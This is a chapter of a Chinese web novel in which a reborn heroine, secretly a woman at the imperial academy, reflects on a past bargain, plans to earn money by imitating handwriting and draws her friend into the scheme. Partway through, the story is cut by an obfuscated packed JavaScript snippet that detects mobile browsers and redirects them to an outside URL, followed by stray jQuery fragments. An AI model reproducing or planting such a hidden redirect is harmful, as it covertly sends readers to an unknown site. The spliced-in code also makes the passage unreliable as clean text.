从崇化堂归来已是午时,正赶上公厨放饭,略填了填肚子,又随董生诸人往明善堂听讲。
国子直讲在坛前滔滔不绝,闻竹终于得空思索一夜间发生在她身上的所有事,无心听讲。夏日炎热,蝉鸣不绝,诸生燥热难耐。待到下课钟响纷纷涌出讲堂,状似群蜂。
卫赐还没回,屋门一关便只剩她一人,紧绷一日的心神终于得一时放松。
闻竹任由自己瘫在床铺上,思绪漫无边际。仅过了一个晚上和一个白日,于她命运却已天翻地覆。所谓“恍如隔世”,此刻恰如其分。
她的处境喜忧参半。
第一,她有半年时间逆天改命,不可不谓之一喜。第二,今日下来她也发觉,重活一次,每件事并不与之前如出一辙。之前她并无契机结识纪二郎,眼下事却发展得如此自然。莫非自己的一举一动,都可能导致变数的发生?若如此,意味着危险也可能随时发生,她却难以预料。
如何破局?
一走了之?这是最容易的解法。不做便不错,回她的祥符县,远离危险之源,从此高枕无忧。
她闭上眼,摇了摇头,即刻否决了这一念头。
往事涌上心头,那场交易早在闻竹未进太学之时便定下。林彻知晓她女子身份,却依旧愿意助她入太学乃至科举入仕,一切的代价早已写好。
“若你成功入仕,待到平步青云之时,必须答应我办成一件事,无论什么事,你都不可拒绝,没有和我商量的余地。”
“什么事。”当时,闻竹沉溺于心事可成的激动,不掩好奇之色。
林彻沉默良久,面无表情:“别多问,待你有能力办成时,自会让你知晓。”
当年的她连忙应下,生怕林彻反悔。她并不在意是什么事,当时的她,只渴望拥有一件东西。
权力。
只有它,才能帮她办成想做的事。
闻竹身份危险,家中微寒无权无势。有林彻的帮助,或许这条危机四伏的路,她会走得容易些。
“好,我答应您。”闻竹分外坚定,“愿先生助我入太学。”她自小在读书上颇有天赋,又肯日夜苦读,在县学时便是翘楚。太学在开封近郊州县以考试选拔庶人中俊异者,学业上她自是有底。只是太学名额有限,各县富户都盯着,各有“神通”。闻竹身为寒门子弟,家无余财,担心自己最终竹篮打水,一无所得。林彻虽只是个太学学正,官职不高,却恰领其事,刚好襄助她。
后来闻竹顺利地入了太学,却没能保住自己的命。
林彻上一世亏大了,扶植她如此之久,最后什么也没捞到。
闻竹实在不甘心。
她还有太多事没有做,太多东西没有得到,在这条异常艰难的路上走了多年,难道甘心就这样放弃、回去过默默无闻的生活吗?
她决不会离开。纵是死卦,她也要闯出生门。
要想破局,既要外力也要内力。外力从何而来?她已有了想法——
纪二郎。
挑拨他与胡暻势不两立也不太现实。不过与他来往,或可得一二庇护,做许多事也可行得方便。
还远远不够!他人庇护终不可靠,若全寄望于此必不能行得长远,破局之手仍在她自己身上。
既然她不离开,就只能让胡衙内消失了。
想到这里,闻竹翻身下床,从书堆最底下扯出一个簿子。她撑着头,努力调出这半年间的记忆。
“万和元年六月,汴京黑市蔡老板......八月,官家幸太学......十月,太学失火......”闻竹提笔写下几行字。无数次扶额,发髻被抚得凌乱,想不出多余的大事来。怪她无用,上一世为阿堵物奔忙,不是去黑市周旋,就是在斋舍抄书。余下还要修习学业,太学生之间宴饮交游都很少参与。
天色渐渐暗淡,一到傍晚时分,乌鸦便盘旋在太学上空,吵得闻竹更加心烦意乱。闻竹点上灯烛,翻着她常用来记事的簿子,或许能从中忆起一二旧事。
簿子停留在一页,这是她六月以来最后的笔迹,闻竹住了手,上面赫然写着——
“刘记书铺《公羊传》限六月十七”
闻竹恍然,翻出书案旁的几个抄本,略看了看抄本进度。
......尚可,将将一日便可抄完。
太学贫寒学子常以抄书、代人写信等活计赚些零钱补贴生活。闻竹和卫赐亦是如此。
上一世就在后日,她去给书铺刘老板送书。刘老板见她年轻善书,一副缺钱的样子,抄的又快又好,客人甚是满意。便将她介绍给黑市蔡老板,从此,她才搭上了黑市的生意。
蔡老板是黑市商人,便不全是干净生意。记得上一世,闻竹在他那接的抄书活计,除了野史,天文图谶等朝廷禁书,竟还有地方门派教众宣讲教义的册子......
蔡老板吝啬至极,经常克扣佣金,还大言不惭道:“闻公子,汴京会写字的海了去了,那起子穷秀才巴不得求我跟他们做生意呢!他们开的价远低于公子啊......看在和公子的交情,我顾念情分,公子却吵着和我算账,置蔡某于何地?”
闻竹怎听不出威胁之意?虚伪至极,令人连连作呕。不过客源在他手上,她也只能打碎了牙和血吞。
闻竹忙着赚钱是为以后铺路。要想科举,解试省试,二考搜身这关她不得不过。一旦身份败露,她多年来的努力终成泡影,还会惹来杀身之祸。
当年,闻竹也曾向林彻提出隐忧。
“有钱吗?”林彻眼中充满了戏谑,“有钱能使鬼推磨,你若能拿得出五千贯,都不在话下。”
听了这个数目,闻竹有些发晕。国朝普通小民,一年收入不过几贯。五千贯,足以在汴梁最繁华的地界买下一座顶级豪宅。
闻竹为了前途,被迫开始了漫漫赚钱路。
上一世她接抄书活计来者不拒,常夜里熬鹰累得半死,得利不过尔尔。如今她不仅要继续为科举铺路,还多了胡衙内一事,用钱之处只多不少。
蔡老板实在卑鄙,有一句话没说错——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653465|172847||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
京城会写字抄书之人多如走狗。
靠此赚些微薄佣金远远不够。她需要一个钱更多,离了她就不行的生意......
远远传来太学暮鼓音,暮鼓之后,太学便要锁门了。闻竹起身开门,微凉的晚风灌入门内,瞬间使人清醒了许多。
有了!
她多年抄书下来,也练就了一门技艺:无论是谁的笔迹,她微加练习模仿,便可仿的八九分像。
闻竹琢磨得正欣喜,远远望见卫赐的身影。卫赐神情颓唐,面色阴沉。想是李娘子病情不好,闻竹收起笑脸,注视着卫赐,脸上担忧。
“老卫,伯母如何了?”
卫赐进门,门都顾不得关,面如死灰,叹了口气道:“你也知道……大夫人阻挠,我好不容易才把郎中请来,只说母亲病情不容乐观——母亲只身在家,任由大夫人摆弄。唉,我实在没用!如此下去,母亲何时能好......”
卫赐恨自己无用至极,怕闻竹也会笑话他,隐去一部分心声:卫家钱财尽由大夫人掌握,卫赐一分钱也拿不到。待他身上这袋银钱花完,他只怕连延医抓药的钱也无。
闻竹并未言语,只是扯过椅子让他坐下,关了斋舍的门,转身回来,自上而下注视着他,目光灼灼:“老卫,你不必多说,我只问你一句,你想让伯母的病好起来吗?”
“那是自然!”卫赐觉得好友的话有些没来由,从椅子上站起,“能让阿娘好起来,我做什么都愿意。”
闻竹重重点头:“既是如此,我接下来说的,你仔细听着。”
纵使卫赐不说,闻竹也知道她的难处,全在于一个钱字罢了。
她此番是想拉卫赐入伙。
卫赐也算命运多舛。他生于官宦之家,生母李娘子为妾室,深得卫老爷喜爱。卫老爷爱屋及乌,视卫赐为至宝。卫老爷官位不高,画技却闻名士林,士大夫趋之若鹜,一画难求,润笔费源源不断地送进卫府。卫家水涨船高,一时炙手可热。卫赐作为卫老爷最得宠的儿子,尽得其画技真传。
时移世易,好景不长,卫老爷早逝,丢下一大家子老小。卫家根基不稳,子弟平庸后继无人,就此沉寂。卫老爷在世时因妾室冷落正妻,自他死后,卫夫人掌家,多年失意愤恨一股脑发泄在卫赐母子身上,卫家上下看眼色行事,卫赐母子自那之后再无太平之日。从备受宠爱的小公子沦为受人冷待的落魄庶子,卫赐没有心志扭曲,反而始终敦厚,也实属不易。
卫赐画技得卫老爷真传,画艺高超。若依她方才所想的法子,将画技尽数发挥,何愁赚不到钱?
“后日午后,我去刘记书铺送书,你和我同去,”闻竹面露狡黠,“有大生意可谈,此事若成,利润胜平日抄书所得十倍!”
此语直击卫赐心灵,忙道:“甚么好生意?”
闻竹将心中初步所想的法子,如此这般,与他一一说清。
听完好友的话,卫赐握着茶杯的手渐渐收紧,不住的颤抖。
这……除此之外,真的别无他路了吗?